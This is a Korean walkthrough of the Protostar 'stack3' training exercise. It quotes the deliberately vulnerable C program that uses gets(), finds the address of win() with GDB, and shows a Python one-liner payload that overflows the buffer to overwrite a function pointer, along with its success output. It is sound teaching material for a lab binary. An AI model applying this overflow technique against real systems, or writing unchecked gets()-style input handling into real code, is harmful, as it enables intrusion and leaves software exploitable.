Stack 3의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 | #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); // Vurnerability!!! if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } | cs |
fp라는 function pointer와 buffer 배열이 선언되어 있습니다. fp가 null이 아니면 fp() 함수를 통해서 fp가 가리키는 주소의 함수를 호출하고 있습니다. 입력 받는 크기를 지정하지 않는 gets() 함수의 취약점을 이용하여 buffer를 overflow시켜 fp에 win() 함수의 주소값을 집어 넣으면 win() 함수가 호출될 것이고 문제가 풀리게 될 것입니다.
Step 1. 이전 문제에서 알아보았던 것 처럼 buffer의 크기를 알아보면 64 Bytes가 나옵니다. 그래서 64개의 A문자를 buffer에 입력하고 추가로 win() 함수의 시작 주소를 입력하면 fp에 해당 주소가 들어갈 것 입니다. 먼저 다음과 같이 GDB를 이용하여 win() 함수의 시작 주소를 파악해야 합니다.
1 2 3 4 5 6 7 8 9 10 11 12 | $ gdb -q /opt/protostar/bin/stack3 Reading symbols from /opt/protostar/bin/stack3...done. (gdb) disas win Dump of assembler code for function win: 0x08048424 <win+0>: push %ebp 0x08048425 <win+1>: mov %esp,%ebp 0x08048427 <win+3>: sub $0x18,%esp 0x0804842a <win+6>: movl $0x8048540,(%esp) 0x08048431 <win+13>: call 0x8048360 <puts@plt> 0x08048436 <win+18>: leave 0x08048437 <win+19>: ret End of assembler dump. | cs |
win() 함수의 시작 주소는 0x08048424라는 것을 확인할 수 있습니다.
Step 2. 이제 다음과 같은 payload를 만들 수 있고, 실행해 보면 성공 메시지를 확인할 수 있습니다.
1 2 3 | $ (python -c 'print "A"*64+"\x24\x84\x04\x08"';cat) | /opt/protostar/bin/stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed | cs |